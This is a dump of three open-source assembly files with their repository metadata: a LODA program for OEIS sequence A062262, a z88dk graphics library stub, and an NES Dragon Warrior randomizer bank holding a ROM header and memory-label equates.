f257c8ce3f75f5cc3da98ad57fb2a9f4b95c4c41
679
asm
Assembly
oeis/062/A062262.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/062/A062262.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/062/A062262.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A062262: Fifth (unsigned) column sequence of triangle A062140 (generalized a=4 Laguerre). ; Submitted by Christian Krause ; 1,45,1350,34650,831600,19459440,454053600,10702692000,256864608000,6307453152000,158947819430400,4118193503424000,109818493424640000,3015784780968960000,85303626661693440000,2485178990077335552000,74555369702320066560000,2302445240806943232000000,73166593207865084928000000,2391392335899169354752000000,80350782486212090319667200000,2774015109643036451512320000000,98351444796434928735436800000000,3579137360635479797893939200000000,133621128130391245788040396800000000 mov $1,$0 add $0,8 bin $0,$1 add $1,4 lpb $1 mul $0,$1 sub $1,1 lpe div $0,24
48.5
471
0.863034
4d9f70441c72d76a2304292529cba701dc6d2a5d
120
asm
Assembly
libsrc/video/krt/graphics/__krt_pointxy.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
1
2022-03-08T11:55:58.000Z
2022-03-08T11:55:58.000Z
libsrc/video/krt/graphics/__krt_pointxy.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
2
2022-03-20T22:17:35.000Z
2022-03-24T16:10:00.000Z
libsrc/video/krt/graphics/__krt_pointxy.asm
jorgegv/z88dk
127130cf11f9ff268ba53e308138b12d2b9be90a
[ "ClArtistic" ]
null
null
null
SECTION code_clib PUBLIC __krt_pointxy .__krt_pointxy defc NEEDpoint = 1 INCLUDE "pixel_krt.inc"
13.333333
27
0.675
f1f0298dc47b6d64bfd1f82f0a39601a9dcb832a
5,833
asm
Assembly
expansion/bank_0.asm
Lrs121/dwrandomizer
7265d0028462fff7ed4b8678c0eaaed496231b3c
[ "MIT" ]
null
null
null
expansion/bank_0.asm
Lrs121/dwrandomizer
7265d0028462fff7ed4b8678c0eaaed496231b3c
[ "MIT" ]
null
null
null
expansion/bank_0.asm
Lrs121/dwrandomizer
7265d0028462fff7ed4b8678c0eaaed496231b3c
[ "MIT" ]
null
null
null
FILLVALUE $ff CURRENT_TILE EQU $E0 SELECTED_ITEM EQU $D7 ITEMS EQU $C1 .db "NES", $1a .db 8 ; PRG ROM banks .db 2 ; CHR ROM banks .db $12 .db $00 .db $00 .db $00 .db $00 .db 0,0,0,0,0 PPUCTRL EQU $2000 PPUMASK EQU $2001 PPUSTATUS EQU $2002 PPUSCROLL EQU $2005 PPUADDR EQU $2006 PPUDATA EQU $2007 DMC_FREQ EQU $4010 OAMDMA EQU $4014 .base $8000 ; DW labels b3_e01b EQU $e01b X_POS EQU $3A X_POS_2 EQU $8E Y_POS EQU $3B Y_POS_2 EQU $8F MAP_INDEX EQU $45 ; _UNUSED_D5 EQU $00D5 ; _UNUSED_DC EQU $00DC ; _UNUSED_DD EQU $00DD ; ; b3_hero_used_harp EQU $DE18 ; b3_hero_used_herb EQU $DCFE ; b3_hero_used_take EQU $E200 ; b3_irq EQU $FD3A ; b3_nmi EQU $FE67 ; b3_reset EQU $FFD8 ; buy_sell_win EQU $B0FB ; calc_stats EQU $F050 ; cave_zones EQU $F542 ; combat_cmd_win EQU $B095 ; command_win EQU $B054 ; cont_chg_win EQU $B20B ; credit_data EQU $948D ; cycle_rng EQU $C55B ; d3_d1b2 EQU $D1B2 ; dec_radiant_counter EQU $CA56 ; desc_ptr_table EQU $A830 ; detect_vowel EQU $BA3C ; dialog_win EQU $B04B ; do_dialog_hi EQU $C7BD do_dialog_hi EQU $C7C5 do_dialog_lo EQU $C7CB ; do_item EQU $B757 ; do_spell EQU $B7D8 ; ; end_credit_ptr EQU $948B ; enemy_names_1 EQU $BC70 ; enemy_names_2 EQU $BDA2 ; finish_text EQU $D242 ; full_menu_win EQU $B249 ; heal_spell EQU $DA47 ; healmore_spell EQU $DAE3 ; hero_used_heal EQU $DBB8 ; hero_used_healmore EQU $DBD7 ; hurt_spell EQU $DA51 ; input_name_win EQU $B1E0 ; inv_add_item EQU $E01B ; inv_check EQU $E055 ; inv_del_item EQU $E04B ; item_names_1_1 EQU $BAB7 ; item_names_1_2 EQU $BBB7 ; item_names_2_1 EQU $BB8F ; item_names_2_2 EQU $BC4F ; item_prices EQU $BE10 ; item_prices_ptr EQU $BE0E ; items_win EQU $B0CC ; jmp_amt EQU $B6CD ; jmp_amt_pts EQU $B6CA ; jmp_copy EQU $B6B2 ; jmp_desc EQU $B6BE ; jmp_enemy EQU $B6B8 ; jmp_enemy_2 EQU $B6C1 ; jmp_item EQU $B6C4 ; jmp_name EQU $B6B5 ; jmp_points EQU $B6C7 ; jmp_spell EQU $B6BB ; ken_masuta EQU $FC76 ; load_chr_bank EQU $FE09 ; store_and_load_prg_bank EQU $FF91 ; load_prg_bank EQU $FF96 ; monster_stats EQU $9E4B ; monster_stats_ptr EQU $9E49 ; msg_speed_win EQU $B194 ; music_notes EQU $8205 ; name_entry_win EQU $B1F7 ; new_quest_win EQU $B2A8 ; outside_spell EQU $DA9F ; player_stats EQU $A0CD ; radiant_spell EQU $DA84 ; read_joy_1 EQU $C608 ; repel_spell EQU $DA94 ; repel_table EQU $F4FA ; reset EQU $FD86 ; return_spell EQU $DAED ; save_game EQU $F6F4 ; shop_inv_win EQU $B0DA ; show_window EQU $C6F0 ; sleep_spell EQU $DA5C ; spell_names EQU $BE56 ; spell_win EQU $B0BA ; start_combat EQU $E4DF ; stats_win EQU $AFB0 ; status_win EQU $AFC7 ; ; tab_brecconary_map EQU $8716 ; tab_cantlin_map EQU $88D8 ; tab_charlock1_map EQU $80B0 ; tab_charlock_b1_map EQU $8DBA ; tab_charlock_b2_map EQU $8E82 ; tab_charlock_b3_map EQU $8EB4 ; tab_charlock_b4_map EQU $8EE6 ; tab_charlock_b5_map EQU $8F18 ; tab_charlock_b6_map EQU $8F4A ; tab_charlock_throne_map EQU $8434 ; tab_chest_contents EQU $9DCD ; tab_erdrick_cave_b1_map EQU $92B0 ; tab_erdrick_cave_b2_map EQU $92E2 ; tab_garinham_map EQU $8A9A ; tab_garins_grave_b1_map EQU $909A ; tab_garins_grave_b2_map EQU $925C ; tab_garins_grave_b3_map EQU $9162 ; tab_garins_grave_b4_map EQU $922A ; tab_hauksness_map EQU $8178 ; tab_item_shop_inv EQU $99BC ; tab_kol_map EQU $85F6 ; tab_map_data EQU $801A ; tab_mt_cave_b1_map EQU $8FD6 ; tab_mt_cave_b2_map EQU $9038 ; tab_north_shrine_map EQU $8D56 ; tab_point EQU $B751 ; tab_rimuldar_map EQU $8B62 ; tab_south_shrine_map EQU $8D88 ; tab_stones_shrine_map EQU $8D24 ; tab_swamp_cave_map EQU $8F7C ; tab_tant_throne_map EQU $8402 ; tab_tantegel_map EQU $8240 ; tab_warp_from EQU $F3C8 ; tab_warp_to EQU $F461 ; tab_weapon_prices EQU $9947 ; tab_weapon_shop_inv EQU $9991 ; tab_world_map EQU $9D5D ; tab_world_map_pointers EQU $A653 ; take_content EQU $E39A ; text_block_1 EQU $8028 ; text_block_2 EQU $8286 ; text_block_3 EQU $8519 ; text_block_4 EQU $8713 ; text_block_5 EQU $894C ; text_block_6 EQU $8D12 ; text_block_7 EQU $906E ; text_block_8 EQU $9442 ; text_block_9 EQU $981E ; text_block_10 EQU $9C88 ; text_block_11 EQU $9F3F ; text_block_12 EQU $A28A ; text_block_13 EQU $A6DC ; text_block_14 EQU $AA2E ; text_block_15 EQU $AC61 ; text_block_16 EQU $AE28 ; text_block_17 EQU $AFEE ; text_block_18 EQU $B68B ; text_block_19 EQU $BA65 ; title_routine EQU $BCB0 ; update_sound EQU $8028 ; xp_requirements EQU $F35B ; yes_no_win_1 EQU $B0EB ; zone_enemies EQU $F54F ; zone_layout EQU $F522 .org $c000
30.380208
35
0.576719